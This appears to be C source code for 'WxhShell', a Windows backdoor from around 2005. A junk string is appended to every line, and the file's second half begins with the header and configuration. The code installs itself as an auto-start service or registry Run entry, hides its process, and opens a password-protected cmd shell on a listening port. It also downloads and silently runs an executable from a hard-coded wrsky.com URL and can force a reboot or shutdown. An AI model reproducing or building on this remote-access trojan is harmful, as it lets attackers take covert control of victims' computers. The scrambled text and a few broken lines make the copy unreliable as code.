    if(Boot(SHUTDOWN)) D /QLp3+o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <D a-rv8  
    else { ^.A*mMQ  
    closesocket(wsh); `\( ?^]WLa  
    ExitThread(0); WZ-~F/:c%  
    } .I^4Fc}&4  
    break; :-RB< Lj  
    } !+SL=xy!{  
  // 获取shell 70qEqNoC  
  case 's': { 72, m c  
    CmdShell(wsh); &l+Qn'N  
    closesocket(wsh); 0x<ASfka  
    ExitThread(0); JK2{9#*  
    break; c,@Vz 7c  
  } ]^ R':YE  
  // 退出 uU^DYgs  
  case 'x': { 9'*7 ( j;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >M#@vIo?<6  
    CloseIt(wsh); iM!2m$'s  
    break; &qbEF3p^@  
    } |S!R Q-CF  
  // 离开 ):K%  
  case 'q': { !FgZI4?/Y=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 72;'8  
    closesocket(wsh); %RD\Sb4YV  
    WSACleanup(); MG=E 6:  
    exit(1); w'TAM"D`  
    break; %M96 m   
        } -m^- p  
  } pB:XNkxL  
  } E ASnh   
T 6D+@i  
  // 提示信息 boojq{cvYA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3H,x4L5j  
} `Abd=1nH  
  } LGhK)]:  
x'L=p01  
  return; 5len} ){  
} IP`lx  
KkUK" Vc  
// shell模块句柄 *J4!+GD  
int CmdShell(SOCKET sock) KtaoOe  
{ af|h4.A  
STARTUPINFO si; FGn"j@m0  
ZeroMemory(&si,sizeof(si)); /bykIUTKI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]zYIblpde  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <,:{Q75  
PROCESS_INFORMATION ProcessInfo; X(tx8~z  
char cmdline[]="cmd"; H8YwMhE7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DZqG7p$u4i  
  return 0; Sn[xI9}O  
} J|I*n   
Ovx *  
// 自身启动模式 li[[AAWVm  
int StartFromService(void) h3 H Udu  
{ ZQlk 5  
typedef struct 6)1PDlB  
{ `dm*vd  
  DWORD ExitStatus; wNUT0+  
  DWORD PebBaseAddress; _WNbuk0  
  DWORD AffinityMask; S]@;`_?m{  
  DWORD BasePriority; @K <Onh`  
  ULONG UniqueProcessId; OP\jO DX  
  ULONG InheritedFromUniqueProcessId; \lg ^rfj  
}   PROCESS_BASIC_INFORMATION; 7I ~O| Mw  
$ 5"  
PROCNTQSIP NtQueryInformationProcess; suQTi'K1  
0f5 ag&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W/UA%We3+L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0m3hL~0(a  
Zv}F?4T~:  
  HANDLE             hProcess; brTNwRze  
  PROCESS_BASIC_INFORMATION pbi; H|aFs.SEQ  
Gbhw7 (&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -;gQy[U  
  if(NULL == hInst ) return 0; '=;e# C`<{  
F`4W5~`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x:-NTW -g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :Fhk$?/r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n1; a~0P  
T8m]f<  
  if (!NtQueryInformationProcess) return 0; d*|RFU  
,Mw93Kp Va  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WdOxwsq"  
  if(!hProcess) return 0; (RI)<zaK ;  
%ap]\o$^4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [.>=> KJ_  
79 4UY  
  CloseHandle(hProcess); K1X-<5]{  
Y-})/zFc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X QLP|v;"  
if(hProcess==NULL) return 0; PV\J] |d,%  
j)/Vtf  
HMODULE hMod; |]<#![!h#  
char procName[255]; ~j[?3E4L}  
unsigned long cbNeeded; G$a@}9V  
n#}@| "J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fK:4jl-r  
(8 7wWhH  
  CloseHandle(hProcess); z#!<[**&  
CE M4E  
if(strstr(procName,"services")) return 1; // 以服务启动 W^09tx/I  
07SW$INb  
  return 0; // 注册表启动 ga|<S@u?}  
} %( OP  [  
n=j) M  
// 主模块 K^o$uUBe  
int StartWxhshell(LPSTR lpCmdLine) IwYfs]-  
{ 2@bOy~$A  
  SOCKET wsl; gH7  +#/  
BOOL val=TRUE; \j!/l f)  
  int port=0; 0m1V@ 3]7>  
  struct sockaddr_in door; (_#E17U)_  
egsP\ '  
  if(wscfg.ws_autoins) Install(); & PXT$x[i  
{*bx8*y1  
port=atoi(lpCmdLine); :sw5@JdJ  
D?y-Y  
if(port<=0) port=wscfg.ws_port; 8/p ]'BLf  
->pU!f)\X  
  WSADATA data; _f 2rz+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jy0aKSn8  
ue3 ].:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,W+=N"`a'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9Pg6,[*u  
  door.sin_family = AF_INET; ,62~u'hR5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +8ib928E  
  door.sin_port = htons(port); $G <r2lPy  
[<i3l'V/[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5 `TMqrk  
closesocket(wsl); M>=@Z*u/+  
return 1; ~I N g9|  
} :kcqf,7  
g:RS7od=,  
  if(listen(wsl,2) == INVALID_SOCKET) { 6v{&,q  
closesocket(wsl); o.Ww .F  
return 1; QN;5+p[N  
} Mm,\e6#*  
  Wxhshell(wsl); M5RN Z%  
  WSACleanup(); M p <r`PM2  
#<Y3*^~5d  
return 0; CSjd&G *ZB  
A ___| #R  
} Ma\%uEgTD  
5Kd"W,  
// 以NT服务方式启动 t0cS.hi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h)sT37  
{ 'r=2f6G>cP  
DWORD   status = 0; h7ZH/g$)  
  DWORD   specificError = 0xfffffff; f\?Rhyz  
:!Z|_y{b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; { #B/4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; prM)t8SE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \aPH_sf,  
  serviceStatus.dwWin32ExitCode     = 0; A%EhRAy  
  serviceStatus.dwServiceSpecificExitCode = 0; 5G6 Pp7[  
  serviceStatus.dwCheckPoint       = 0; +EA ")T<l  
  serviceStatus.dwWaitHint       = 0; F%zMhX'AG  
[,st: Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3W ]zLUn  
  if (hServiceStatusHandle==0) return; 3R$R?^G  
Hwd^C 2v  
status = GetLastError(); V O1   
  if (status!=NO_ERROR) ai/]E6r  
{ i+QVs_jW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'N6oXE  
    serviceStatus.dwCheckPoint       = 0; 7gLk~*  
    serviceStatus.dwWaitHint       = 0; Ax|'uvVAPT  
    serviceStatus.dwWin32ExitCode     = status; .>,Y |  
    serviceStatus.dwServiceSpecificExitCode = specificError; _3u3b/%J?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GYy8kp84  
    return; 3,Z;J5VL4!  
  } )y:M8((%  
C3.]dsv:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :xmj42w>^  
  serviceStatus.dwCheckPoint       = 0; oGZuYpa9  
  serviceStatus.dwWaitHint       = 0; > mCH!ey  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '%_K"rb  
} 6;~V@t  
B.?F^m@zS  
// 处理NT服务事件,比如:启动、停止 vp&.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <Ed;tq  
{ 9pi{)PDJ  
switch(fdwControl) Q7`)&^ Hx  
{ @) MG&X  
case SERVICE_CONTROL_STOP: k 5% )  
  serviceStatus.dwWin32ExitCode = 0; S_*Gv O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rpEIDhHv  
  serviceStatus.dwCheckPoint   = 0; F@z%y'5 Z*  
  serviceStatus.dwWaitHint     = 0; [ZG>FJDl8  
  {  3bd`q $  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RwK6u-u#9  
  } b&,Z mDJh  
  return; g~|vmVBua  
case SERVICE_CONTROL_PAUSE: ~f[;(?39xZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?~sNu k  
  break; +MYrNR.p  
case SERVICE_CONTROL_CONTINUE: 5s%e9x|kP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cJ?,\@uuP  
  break; FW2x  
case SERVICE_CONTROL_INTERROGATE: 1foG*   
  break; :SwA) (1  
}; H #X*OJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y1AZ%{^0a  
} 7uUq+dp  
AW_YlS  
// 标准应用程序主函数 z<P?p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OP=oSfa  
{ T6?03cSE  
#CJ ET  
// 获取操作系统版本 .`u8(S+  
OsIsNt=GetOsVer(); [Djx@x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M4;M.zxJv  
F;/^5T3wI  
  // 从命令行安装 fGH)Fgo`  
  if(strpbrk(lpCmdLine,"iI")) Install(); #u"@q< )  
FP y}Wc*UA  
  // 下载执行文件 6]GHCyo  
if(wscfg.ws_downexe) { st.{AEv@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (-;(wCEE  
  WinExec(wscfg.ws_filenam,SW_HIDE); L>Ze*dt  
} "`S?q G  
li{<F{7  
if(!OsIsNt) { $zhvI*0  
// 如果时win9x,隐藏进程并且设置为注册表启动 >X[:(m'  
HideProc(); 7[L%j;)bw  
StartWxhshell(lpCmdLine); %WP[V{,F  
} lHliMBSc  
else Bn.R,B0PL  
  if(StartFromService()) E@Ewx;P5  
  // 以服务方式启动 !z :j-gT3  
  StartServiceCtrlDispatcher(DispatchTable); gs.+|4dv  
else t\2-7Ohj6  
  // 普通方式启动 &eO.h%@  
  StartWxhshell(lpCmdLine); 2A*,9S|Y  
Zy)iNNtn  
return 0; aWvC-vZk  
} xVI"sBUu  
?#doH,  
^?q(fK%  
9J_vvq`%`  
=========================================== TR `C|TV>  
Zu~t )W  
2h}FotlO  
a~!7A ZT-O  
Mu.oqT  
9)[)0 7  
" .'l3NV^{  
C=K{;.  
#include <stdio.h> wvxqgXnB\  
#include <string.h> KB~`3Wj|Z  
#include <windows.h>  *ni0.  
#include <winsock2.h> WU/5i 8  
#include <winsvc.h> hp7ni1V  
#include <urlmon.h> *.A-UoHa  
p Zxx  
#pragma comment (lib, "Ws2_32.lib") q+;lxR5D  
#pragma comment (lib, "urlmon.lib") 7bVKH[  
>$3 =yw%  
#define MAX_USER   100 // 最大客户端连接数 gtY7N>e  
#define BUF_SOCK   200 // sock buffer )$pqe|,  
#define KEY_BUFF   255 // 输入 buffer 31]Vo;D  
J!Rqm!)q  
#define REBOOT     0   // 重启 d;3f80Kd*  
#define SHUTDOWN   1   // 关机 ^"uD:f)  
n"~K",~P  
#define DEF_PORT   5000 // 监听端口 iH dX  
<P*7u\9&  
#define REG_LEN     16   // 注册表键长度 nkN2Bqt$  
#define SVC_LEN     80   // NT服务名长度 C(KV5c  
D51O/.:U2  
// 从dll定义API x6\^dVR}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XCez5Q1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xz/aytp~A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R$it`0D4o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4VA]S  
IG%x(\V-e  
// wxhshell配置信息 @te}Asv  
struct WSCFG { nxm*.&#p?  
  int ws_port;         // 监听端口 nAsc^ Yh  
  char ws_passstr[REG_LEN]; // 口令 f?@M"p@T  
  int ws_autoins;       // 安装标记, 1=yes 0=no p-z!i+  
  char ws_regname[REG_LEN]; // 注册表键名 (f* r  
  char ws_svcname[REG_LEN]; // 服务名 Vrp]YR L`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D [v225  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IpKI6[2{`f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I'<sJs*p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ghe@m6|D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \pI ,6$'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3m~3l d  
*JWPt(bnI  
}; Z ]OX6G  
n@oSLo`k,`  
// default Wxhshell configuration 'Rv.6>xqc  
struct WSCFG wscfg={DEF_PORT, Lk)TK/JM)  
    "xuhuanlingzhe", v=IcVHuf  
    1, tg~7^(s  
    "Wxhshell", |g\CS4$  
    "Wxhshell", |c2;`T#`o  
            "WxhShell Service", "nNT9 K|  
    "Wrsky Windows CmdShell Service", (d[JMO^@8  
    "Please Input Your Password: ", E/d\ebX|  
  1, Hjy4tA7,l  
  "http://www.wrsky.com/wxhshell.exe", xf qu=z8X  
  "Wxhshell.exe" ,`$2  
    }; (<|1/^~=  
)9!J $q  
// 消息定义模块 RS7J~Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,nw5 M.D_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;tZ8Sh)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !U1V('   
char *msg_ws_ext="\n\rExit."; <9Ytv|t@0  
char *msg_ws_end="\n\rQuit."; ;s-fYS6(>{  
char *msg_ws_boot="\n\rReboot..."; !Ome;g S)  
char *msg_ws_poff="\n\rShutdown..."; y8|}bd<Sr  
char *msg_ws_down="\n\rSave to "; iz`ys.Fu  
Lo9 \[4FP  
char *msg_ws_err="\n\rErr!"; h*mKS -TC  
char *msg_ws_ok="\n\rOK!"; z9zo5Xc=  
lF$$~G  
char ExeFile[MAX_PATH]; p"n3JV.~k+  
int nUser = 0; ;FjI!V  
HANDLE handles[MAX_USER]; {5T:7*J  
int OsIsNt; Z1DF)  
v;" pc)i  
SERVICE_STATUS       serviceStatus; b$B-LvHd1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MV?sr[V-oP  
TyaK_XW  
// 函数声明 e" p5hpl  
int Install(void); @])}+4D(S  
int Uninstall(void); Nbm$ta  
int DownloadFile(char *sURL, SOCKET wsh); vLcOZ^iK  
int Boot(int flag); < 'r<MA<  
void HideProc(void); .1""U ']  
int GetOsVer(void); ;;zd/n2b  
int Wxhshell(SOCKET wsl); ,,V uvn  
void TalkWithClient(void *cs); Ozc9yy!%  
int CmdShell(SOCKET sock); -k3WY&9,  
int StartFromService(void); ]8XIw`:f  
int StartWxhshell(LPSTR lpCmdLine); zS}!87r)  
@<p9 O0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3T@`V FbE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <kWNx.eci  
R!_1*H$  
// 数据结构和表定义 1++Fs  
SERVICE_TABLE_ENTRY DispatchTable[] = atfK?VK#  
{ \ id(P3M  
{wscfg.ws_svcname, NTServiceMain}, ;:ocU?  
{NULL, NULL} z&A# d  
}; ?*U:=|  
 W o$UV  
// 自我安装 2}#VB;B  
int Install(void) 1.z !u%2  
{ g);.".@"  
  char svExeFile[MAX_PATH]; l65Qk2<YC  
  HKEY key; t? _{  
  strcpy(svExeFile,ExeFile); LQa1p  
)0 i$Bo  
// 如果是win9x系统,修改注册表设为自启动 S >\\n^SbT  
if(!OsIsNt) { %lN4"jtx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @|Hx >|p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8BM[c;-{g`  
  RegCloseKey(key); ;+VHi%5Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vXc gl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N'0fB`:kz  
  RegCloseKey(key); {Gr"oO`&"  
  return 0; T04&Tl'CT  
    } ut9R] 01:  
  } %967#XI[y  
} ~DK=&hCd!  
else {  B*Q  
\AB*C_Ri  
// 如果是NT以上系统,安装为系统服务 4fdO Ow  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x9H qc9q  
if (schSCManager!=0) Gjf1Ba  
{ %{";RfSVX%  
  SC_HANDLE schService = CreateService Y t0s  
  ( ;i;;{j@$i  
  schSCManager, |#(g 8ua7  
  wscfg.ws_svcname, L~L]MC&  
  wscfg.ws_svcdisp, M% FKg/  
  SERVICE_ALL_ACCESS, H6-{(: *<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *Ja,3Qq  
  SERVICE_AUTO_START, Ty"=3AvRLV  
  SERVICE_ERROR_NORMAL, =`BPGfC b  
  svExeFile, 82Nw 6om6i  
  NULL, mi{ r7.e5I  
  NULL, :vy./83W  
  NULL, oJ)v6"j  
  NULL, rZ7)sE5L  
  NULL ?anKSGfj  
  ); +jz%:D  
  if (schService!=0) O7tL,)Vv  
  { Nx4X1j?-n  
  CloseServiceHandle(schService); }WG -R  
  CloseServiceHandle(schSCManager); z`rW2UO#a`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .(8eWc YK  
  strcat(svExeFile,wscfg.ws_svcname); W/I D8+:i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _<G%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  Ry iS  
  RegCloseKey(key); [=I==?2`X  
  return 0; 1`8(O >5  
    } DM@&=c  
  } t>>\U X  
  CloseServiceHandle(schSCManager); +S>}<OE  
} yzmwNsu  
} wPU<jAQyp  
<S%kwS  
return 1; -)ag9{*  
} H>2f M^  
7Ke#sW.HN  
// 自我卸载 Ty>g:#bogI  
int Uninstall(void) V{G9E  
{ PyfOBse}r  
  HKEY key; hFWK^]~ a  
1)f~OL8o  
if(!OsIsNt) { 0NWtu]9QC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #5.L%F  
  RegDeleteValue(key,wscfg.ws_regname); XZ8;Ow=  
  RegCloseKey(key); mh8~w~/[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A?sU[b6_  
  RegDeleteValue(key,wscfg.ws_regname); PNMf5'@m  
  RegCloseKey(key); x2g P, p-  
  return 0; a0ze7F<(  
  } ]tVXao  
} RDu'N  
} m}3POl/*j  
else { R7 *ek_  
#%i-{t+_>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b,#E.%SLw  
if (schSCManager!=0) <\cH9D`dE  
{ 6|D,`dk3U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /y"Y o  
  if (schService!=0) ?I`ru:iG  
  { [oQ&}3\XJ  
  if(DeleteService(schService)!=0) { ){oVVLs  
  CloseServiceHandle(schService); ;|LS$O1c  
  CloseServiceHandle(schSCManager); 7E9h!<5v  
  return 0; ?=uw0~O[  
  }  }[<eg>9#  
  CloseServiceHandle(schService); ^f,('0p- >  
  } :bA@ u>  
  CloseServiceHandle(schSCManager); emV@kN.  
} 1!E+(Iq  
} FT* o;&_QS  
.baS mfc  
return 1; Xx0}KJ q~"  
} $bU|'}QR  
0F<O \  
// 从指定url下载文件 w^&TG3m1~  
int DownloadFile(char *sURL, SOCKET wsh) 4{\h53j$  
{ z.[ Ok  
  HRESULT hr; m dC.M$  
char seps[]= "/"; B94mh  
char *token; ;Db89Nc$  
char *file; 1& k_&o  
char myURL[MAX_PATH]; 3a4 ]{  
char myFILE[MAX_PATH]; 8F<Qc*'  
X3:-+]6,d  
strcpy(myURL,sURL); j]"Yz t~u  
  token=strtok(myURL,seps); UP]J `\$o  
  while(token!=NULL) m GWT</=[$  
  { "l&sDh%Lk<  
    file=token; &0 VM <  
  token=strtok(NULL,seps); x=qACoq  
  } jBEt!Azur  
XRI1/2YA  
GetCurrentDirectory(MAX_PATH,myFILE); kl|KFdA;  
strcat(myFILE, "\\"); !o 7uZC\  
strcat(myFILE, file); .JpYZ |  
  send(wsh,myFILE,strlen(myFILE),0); BcT|TX+ct  
send(wsh,"...",3,0); 1Ly?XNS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5|-(Ic  
  if(hr==S_OK) G2kr~FG  
return 0; 4\?I4|{pC  
else ujcNSX*  
return 1; PL8eM]XS  
'B"kUh%3$5  
} g2hxWf"  
2WIbu-"l  
// 系统电源模块 `\&qk)ZP  
int Boot(int flag) 48n>[ FMSR  
{ w>X33Ff]8@  
  HANDLE hToken; AO'B p5:Q  
  TOKEN_PRIVILEGES tkp; ?|:!PF*L~z  
Uc }L/ax  
  if(OsIsNt) { mhM=$AIq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q5[%B K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d `Q$URn|  
    tkp.PrivilegeCount = 1; Lvc*L6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0=s+bo1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZBJYpeGe  
if(flag==REBOOT) { b=QO^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ah &D5,3  
  return 0; QH4nb h4  
} )E^4\3 ^:  
else { 6kjBd3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -)?~5Z   
  return 0; 9h$-:y3  
} ;=Bf&hY&  
  } ;=6 ++Oq  
  else { g B<p  
if(flag==REBOOT) { `2NL'O:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iYv6B6o/99  
  return 0; 0sq/_S  
} &^4W+I{H  
else { E+"INX7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @}x)>tqD  
  return 0; bsPwTp^  
} 1(!QutEb  
} [ WZ<d^L  
G_[|N>  
return 1; *Yvfp{B  
} $Kb-mFR  
788q<7E  
// win9x进程隐藏模块 ,+*8 @>c  
void HideProc(void) o&?Tz*"l  
{ t_,iV9NrZ  
pp#Kb 2*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2X)E3V/*  
  if ( hKernel != NULL ) VPn #O  
  { h.4;-&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IVkKmO(qO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +B_q? 6pR  
    FreeLibrary(hKernel); S5v>WI^0h  
  } bg_Zf7{  
jL%-G  
return; ED"5y  
} .rG Rdb  
aiw~4ix  
// 获取操作系统版本 $|6Le; K  
int GetOsVer(void) v2EM| Q xp  
{ ,A =%!p+  
  OSVERSIONINFO winfo; < 5[wP)K@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,`/!0Wmt  
  GetVersionEx(&winfo); +5?hkQCX1^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D}cq_|mmn[  
  return 1; G5=(3V%  
  else 1(hgSf1WH  
  return 0; qJ"dkT*  
} 9qwVBu ;  
-1S+fUkiK/  
// 客户端句柄模块 wXXv0OzK  
int Wxhshell(SOCKET wsl) j^iH[pN] \  
{ L\_8}\  
  SOCKET wsh; +#1WOQfAD  
  struct sockaddr_in client; $./JA) `  
  DWORD myID; )J~Q x-jG  
I^M3>}p  
  while(nUser<MAX_USER) } %S1OQC  
{ A[ /0on5r  
  int nSize=sizeof(client); '4dnC2a]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $hndb+6q  
  if(wsh==INVALID_SOCKET) return 1; HQ@X"y n  
gl.P#7X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2d<ma*2n(  
if(handles[nUser]==0) _*bXVJ ]  
  closesocket(wsh); 0>Ki([3  
else ;N]ElwP  
  nUser++; 'D\(p,(Mt  
  } -Q 6W`*8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cy^6g? ew  
;c:vz F~Q  
  return 0; 0[PP Vr:  
} JYm@Llf)$  
XuR!9x^5  
// 关闭 socket 7F\U|kx_  
void CloseIt(SOCKET wsh) s;8J= \9W  
{ T"9`[Lzva  
closesocket(wsh); \)y5~te*  
nUser--; 09|d<  
ExitThread(0); dW8'$!@!!  
} .__X[Mzth3  
a/_sL(F{  
// 客户端请求句柄 :$/lGIz  
void TalkWithClient(void *cs) z>~`9Qiw'  
{ |`qur5h`  
<T  
  SOCKET wsh=(SOCKET)cs; G:u[Lk#6K  
  char pwd[SVC_LEN]; A8c'CMEm  
  char cmd[KEY_BUFF]; D9#e2ex]  
char chr[1]; <po(7XB  
int i,j; GE~mu76%  
KQ3)^J_Z  
  while (nUser < MAX_USER) { s'~_pP  
K.l?R#G`,F  
if(wscfg.ws_passstr) { *1;<xeVD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G-M!I`P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {l *ps-fi  
  //ZeroMemory(pwd,KEY_BUFF); 1v`<Vb%"}T  
      i=0; _k5KJKvr  
  while(i<SVC_LEN) { a5Xr"-  
ET=q 1t8  
  // 设置超时 quGb;)3  
  fd_set FdRead; 7:M%w'oR  
  struct timeval TimeOut; qx0J}6+NlU  
  FD_ZERO(&FdRead); 0Lc X7gU>  
  FD_SET(wsh,&FdRead); kz,Nz09}W  
  TimeOut.tv_sec=8; Ms^Y:,;Hi  
  TimeOut.tv_usec=0; .o|Gk 5)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  9l{r&]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Am  kHVg  
86IAAO`#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;EF s2-{K  
  pwd=chr[0]; ih ,8'D4  
  if(chr[0]==0xd || chr[0]==0xa) { ^Y #?@  
  pwd=0; w:M faN*  
  break; J&8l1{gd  
  } zq{L:.#ha  
  i++; p+9vSM #  
    } CCl*v  
t&0n"4$d'  
  // 如果是非法用户,关闭 socket A[oi?.D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5f}63as  
} 3.R?=npA  
NwT3e&u%|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dVO|q9 /  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tV# x{DN  
) I-8 .  
while(1) { O;qS 3  
UnW,|n8  
  ZeroMemory(cmd,KEY_BUFF); 4!/{CGP  
@#8F5G#  
      // 自动支持客户端 telnet标准   BszkQ>#6  
  j=0; 1C.<@IZ  
  while(j<KEY_BUFF) { (U$ F) 7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =UTv  
  cmd[j]=chr[0]; *(o~pxFTR  
  if(chr[0]==0xa || chr[0]==0xd) { \:-; {  
  cmd[j]=0; _5.7HEw>/  
  break; 1S.nqOfx  
  } $stJ+uh  
  j++; J tYnBg?[E  
    } #@y4/JS&2  
^P&y9dC.  
  // 下载文件 p(U' c}@2  
  if(strstr(cmd,"http://")) { x8zUGvtQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8#7z5:_  
  if(DownloadFile(cmd,wsh)) HlI*an  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B[cZEFo\  
  else ||qsoF5B]  
